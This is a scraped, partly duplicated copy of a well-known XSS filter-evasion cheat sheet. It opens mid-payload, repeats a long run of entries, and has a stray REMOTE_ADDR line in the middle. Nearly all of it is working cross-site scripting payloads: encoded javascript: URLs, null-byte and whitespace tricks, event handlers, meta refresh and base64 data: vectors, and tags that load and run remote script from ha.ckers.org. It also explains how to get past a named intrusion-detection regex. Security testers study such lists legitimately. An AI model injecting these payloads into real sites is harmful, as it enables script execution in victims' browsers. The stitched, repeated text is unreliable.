SRC=java\0script:alert(\"XSS\")>";' > out Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Null breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date: perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal): <IMG SRC=" &#14; javascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s": <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error: <<SCRIPT>alert("XSS");//<</SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected: <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Protocol resolution in script tags. This particular variant was submitted by Ùukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. <SCRIPT SRC=//ha.ckers.org/.j> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag: <IMG SRC="javascript:alert('XSS')" Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Double open angle brackets. This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't: <iframe src=http://ha.ckers.org/scriptlet.html < Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XSS with no single quotes or double quotes or semicolons: <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";< ------------------------------------------------- REMOTE_ADDR = 198.54.202.195 XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion By RSnake Note from the author: XSS is Cross Site Scripting. If you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack. It will simply show the underlying methodology and you can infer the rest. Also, please note my XSS page has been replicated by the OWASP 2.0 Guide in the Appendix section with my permission. However, because this is a living document I suggest you continue to use this site to stay up to date. Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from Evolt. Please see the XML format of the XSS Cheat Sheet if you intend to use CAL9000 or other automated tools. If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the forum: XSS (Cross Site Scripting): XSS locator. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable (use the URL encoding calculator below to encode the entire string). Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XSS locator 2. If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable: '';!--"<XSS>=&{()} Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here): <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Image XSS using the JavaScript directive: <IMG SRC="javascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] No quotes and no semicolon: <IMG SRC=javascript:alert('XSS')> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Case insensitive XSS attack vector: <IMG SRC=JaVaScRiPt:alert('XSS')> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] HTML entities (the semicolons are required for this to work): <IMG SRC=javascript:alert(&quot;XSS&quot;)> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents): <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] fromCharCode (if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need): <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild): <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information: <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Embedded tab to break up the cross site scripting attack: <IMG SRC="jav ascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below: <IMG SRC="jav&#x09;ascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Embeded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector: <IMG SRC="jav&#x0A;ascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.): <IMG SRC="jav&#x0D;ascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above: <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example: perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Null breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date: perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal): <IMG SRC=" &#14; javascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s": <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error: <<SCRIPT>alert("XSS");//<</SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected: <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Protocol resolution in script tags. This particular variant was submitted by Ùukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. <SCRIPT SRC=//ha.ckers.org/.j> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag: <IMG SRC="javascript:alert('XSS')" Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Double open angle brackets. This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't: <iframe src=http://ha.ckers.org/scriptlet.html < Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XSS with no single quotes or double quotes or semicolons: <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.: \";alert('XSS');// Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] End title tag. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack: </TITLE><SCRIPT>alert("XSS");</SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] INPUT image: <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] BODY image: <BODY BACKGROUND="javascript:alert('XSS')"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="): <BODY ONLOAD=alert('XSS')> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Event Handlers that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates: 1. FSCommand() (attacker can use this when executed from within an embedded Flash object) 2. onAbort() (when user aborts the loading of an image) 3. onActivate() (when object is set as the active element) 4. onAfterPrint() (activates after user prints or previews print job) 5. onAfterUpdate() (activates on data object after updating data in the source object) 6. onBeforeActivate() (fires before the object is set as the active element) 7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy") function) 8. onBeforeCut() (attacker executes the attack string right before a selection is cut) 9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object) 10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) 11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) 12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function). 13. onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) 14. onBegin() (the onbegin event fires immediately when the element's timeline begins) 15. onBlur() (in the case where another popup is loaded and window looses focus) 16. onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) 17. onCellChange() (fires when data changes in the data provider) 18. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified) 19. onClick() (someone clicks on a form) 20. onContextMenu() (user would need to right click on attack area) 21. onControlSelect() (fires when the user is about to make a control selection of the object) 22. onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) 23. onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) 24. onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) 25. onDataSetChanged() (fires when the data set exposed by a data source object changes) 26. onDataSetComplete() (fires to indicate that all data is available from the data source object) 27. onDblClick() (user double-clicks a form element or a link) 28. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) 29. onDrag() (requires that the user drags an object) 30. onDragEnd() (requires that the user drags an object) 31. onDragLeave() (requires that the user drags an object off a valid location) 32. onDragEnter() (requires that the user drags an object into a valid location) 33. onDragOver() (requires that the user drags an object into a valid location) 34. onDragDrop() (user drops an object (e.g. file) onto the browser window) 35. onDrop() (user drops an object (e.g. file) onto the browser window) 36. onEnd() (the onEnd event fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) 37. onError() (loading of a document or image causes an error) 38. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) 39. onExit() (someone clicks on a link or presses the back button) 40. onFilterChange() (fires when a visual filter completes state change) 41. onFinish() (attacker can create the exploit when marquee is finished looping) 42. onFocus() (attacker executes the attack string when the window gets focus) 43. onFocusIn() (attacker executes the attack string when window gets focus) 44. onFocusOut() (attacker executes the attack string when window looses focus) 45. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) 46. onKeyDown() (user depresses a key) 47. onKeyPress() (user presses or holds down a key) 48. onKeyUp() (user releases a key) 49. onLayoutComplete() (user would have to print or print preview) 50. onLoad() (attacker executes the attack string after the window loads) 51. onLoseCapture() (can be exploited by the releaseCapture() method) 52. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing) 53. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) 54. onMouseDown() (the attacker would need to get the user to click on an image) 55. onMouseEnter() (cursor moves over an object or area) 56. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) 57. onMouseMove() (the attacker would need to get the user to mouse over an image or table) 58. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) 59. onMouseOver() (cursor moves over an object or area) 60. onMouseUp() (the attacker would need to get the user to click on an image) 61. onMouseWheel() (the attacker would need to get the user to use their mouse wheel) 62. onMove() (user or attacker would move the page) 63. onMoveEnd() (user or attacker would move the page) 64. onMoveStart() (user or attacker would move the page) 65. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) 66. onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) 67. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element) 68. onProgress() (attacker would use this as a flash movie was loading) 69. onPropertyChange() (user or attacker would need to change an element property) 70. onReadyStateChange() (user or attacker would need to change an element property) 71. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle) 72. onReset() (user or attacker resets a form) 73. onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 74. onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 75. onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 76. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element) 77. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) 78. onRowEnter() (user or attacker would need to change a row in a data source) 79. onRowExit() (user or attacker would need to change a row in a data source) 80. onRowDelete() (user or attacker would need to delete a row in a data source) 81. onRowInserted() (user or attacker would need to insert a row in a data source) 82. onScroll() (user would need to scroll, or attacker could use the scrollBy() function) 83. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward) 84. onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) 85. onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) 86. onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) 87. onStart() (fires at the beginning of each marquee loop) 88. onStop() (user would need to press the stop button or leave the webpage) 89. onSynchRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) 90. onSubmit() (requires attacker or user submits a form) 91. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value) 92. onTrackChange() (user or attacker changes track in a playList) 93. onUnload() (as the user clicks any link or presses the back button or attacker forces a click) 94. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) 95. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) IMG Dynsrc: <IMG DYNSRC="javascript:alert('XSS')"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] IMG lowsrc: <IMG LOWSRC="javascript:alert('XSS')"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] BGSOUND: <BGSOUND SRC="javascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] & JavaScript includes (works in Netscape 4.x): <BR SIZE="&{alert('XSS')}"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4] LAYER (also only works in Netscape 4.x) <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4] STYLE sheet: <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page: <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world: <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Remote style sheet part 3. This only works in Opera but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox: <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites: <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Local htc file. This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute: <XSS STYLE="behavior: url(xss.htc);"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] List-style-image. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector: <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] VBscript in an image: <IMG SRC='vbscript:msgbox("XSS")'> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Mocha (older versions of Netscape only): <IMG SRC="mocha:[code]"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4] Livescript (older versions of Netscape only): <IMG SRC="livescript:[code]"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4] US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding: ¼script¾alert(¢XSS¢)¼/script¾ Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4] META (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs): <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] META using data: directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] META with additional URL parameter. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann): <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] IFRAME (if iframes are allowed there are a lot of other XSS problems as well): <IFRAME SRC="javascript:alert('XSS');"></IFRAME> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] FRAME (frames have the same sorts of XSS problems as iframes): <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] TABLE (who would have thought tables were XSS targets... except me, of course): <TABLE BACKGROUND="javascript:alert('XSS')"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors): <TABLE><TD BACKGROUND="javascript:alert('XSS')"> Browser support: [IE6.0|NS8.1-IE] 